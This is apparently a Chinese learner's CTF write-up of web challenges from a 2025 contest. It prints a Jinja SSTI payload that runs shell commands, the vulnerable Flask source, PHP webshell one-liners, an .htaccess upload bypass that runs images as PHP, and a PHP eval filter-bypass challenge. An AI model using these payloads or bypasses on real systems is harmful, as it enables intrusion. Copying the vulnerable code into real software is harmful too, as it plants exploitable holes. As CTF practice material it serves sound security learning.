netdream ctf 2025 暑假都在玩了,太菜了,一眼没法丁真就下机了😫,web是一道没做出来。
找到了web题目源码来复现一下
ezpython 打开按f12,
1 2 3 4 5 6 7 8 9 <!DOCTYPE html > <html > <head > <src <title > </title > </head > </html >
访问/s3c0nd
1 2 3 4 5 6 7 8 9 10 <!DOCTYPE html > <html > <head > <title > S3c0nd</title > </head > <body > <h1 > only fuzz(number)</h1 > </body > </html >
没太明白题目想表达什么,要fuzz数字,但是要从哪里传入呢?
post吗?还是get?参数是什么?
用fuzz当参数试了post和get 0-10000,都没结果,去看wp
结果是,爆破路径吗?
这,很牛逼了。。。
看来是我的fuzz思路不够
然后访问 /114514:
1 2 3 4 5 6 7 8 9 10 11 <!DOCTYPE html > <html > <head > <title > 野兽先辈の住所</title > </head > <body > <h1 > 你好 guest!</h1 > </body > </html >
可能是我成分太低了,真不明白下一步要干什么,大概知道是要爆破参数, 再去看了wp才知道有专门爆破参数的工具 Arjun 在pip试了一下发现直接就有在pip上
1 2 3 4 5 6 7 8 arjun -u http://192.168.75.128:5000/114514 -m get Scanning 0/1: http://192.168.75.128:5000/114514 Probing the target for stability Analysing HTTP response for anomalies Logicforcing the URL endpoint parameter detected: name, based on: body length Parameters found: name
然后发现一个name参数 随后尝试:
1 2 3 http://192.168.75.128 :5000/114514 ?name=1 你好 1 !
那应该就是ssti注入了 掏出祖传焚靖
直接梭出来payload:
1 {{(cycler.next.__globals__.os.popen ('ls /' )).read()}}
然而尝试了直接 cat /flag 发现不能回显了,估计是有waf 再回想题目说某个参数能直接拿到源码 但arjun只爆出来了一个啊,随后又试了source=1,还是不行 去看黄豆的wp,发现是要source=6969 。。。
随后成功拿到源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from flask import Flask, request, Response, render_template_string app = Flask(__name__) FLAG = open ('/flag' ).read().strip()@app.route('/' ) def stage1 (): return """ <!DOCTYPE html> <html> <head> <src <title></title> <!-- ï¼/s3c0nd --> </head> </html> """ @app.route('/s3c0nd' ) def stage2 (): return """ <!DOCTYPE html> <html> <head> <title>S3c0nd</title> </head> <body> <h1>only fuzz(number)</h1> </body> </html> """ @app.route('/114514' ) def stage3 (): name = request.args.get('name' , 'guest' ) template = f""" <!DOCTYPE html> <html> <head> <title>éå
½å
è¾ã®ä½æ</title> </head> <body> <h1>ä½ å¥½ {name} ï¼</h1> <!-- å¬è¯´è®¿é®è¯¥é¡µé¢çægetåæ°çæä¸ªæ°å¼å¯ä»¥çæºç --> </body> </html> """ if request.args.get('source' ) == '6969' : with open (__file__, 'r' , encoding="latin-1" ) as f: return Response(f.read(), mimetype='text/plain' ) return render_template_string(template, name=name)if __name__ == '__main__' : app.run(host='0.0.0.0' , port=5000 )
然而却没有waf? 看了wp也是说没有过滤的ssti,用wp的payload也没有反应?! 该不是我的docker环境有问题吧? 结果试了一大堆办法都没用,最后进入docker容器后台,发现flag里根本没东西。。。
自己写上flag{aidemofashi}后就可以ssit出来了,没有waf。
ezpuload fuzz一下,发现是图片内带有<? 的就不让上传,这也会导致正常图片上传不了,正常文件都可能会有排列组合到<?的情况 当时做的时候是发现会直接删除文件名中的 ‘php’ 和 ‘htaccess’
然后试了如下
1 2 3 4 5 6 7 8 9 10 11 12 <?= @eval ($_POST ['shell' ]); ?> <?= 是 <? echo 的简写 不行 <% eval ($_POST ['shell' ]); %> 需要asp_tags=On 不行 GIF89a <script language="php" >eval ($_POST ['shell' ]);</script> 需要short_open_tag=On 不行
没思路了,去看wp 发现是用htaccess的方法
然后尝试套了三层就成功了: .hththtaccessaccessaccess 但是尝试了官方的解法发现使用:
1 2 3 AddType application/x-httpd-php .jpg php_value auto_append_fi\ le "/flag" 指定一个文件,该文件的内容会在每一个 PHP 脚本执行完毕后自动包含(include )并执行。
返回500错误,也搞不明白问题是啥 在我这环境下一直复现不出来。 没办法了
总结一下官方的思路是: 利用会删除不合规后缀名,用重写的方式传入.htaccess。 然后在利用文件包含的方式拿出flag。
ezpassby 源码:
1 2 3 4 5 6 7 8 9 10 11 12 <?php $test =$_GET ['test' ];if (!preg_match ("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|implode|phpinfo|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|session_id|session_start|echo|readfile|highlight|show|source|file|assert/i" , $test )){ eval ($test ); }else { echo "oh nonono hacker!" ; }highlight_file (__FILE__ );
这个当时看了,没做出来,看黄豆wp, 利用system apache_request_headers join, 无法直接在test参数传违禁词,能利用apache_request_headers 来在请求头里写 问了一下千问,确实只能在apache上用,nginx用getallheaders。
又是复现不出来,命令结果没出来,在win下试了,文件能出来,但是写不进东西。。。
Pickle♥dill 这个因种种原因就完全复现不出来了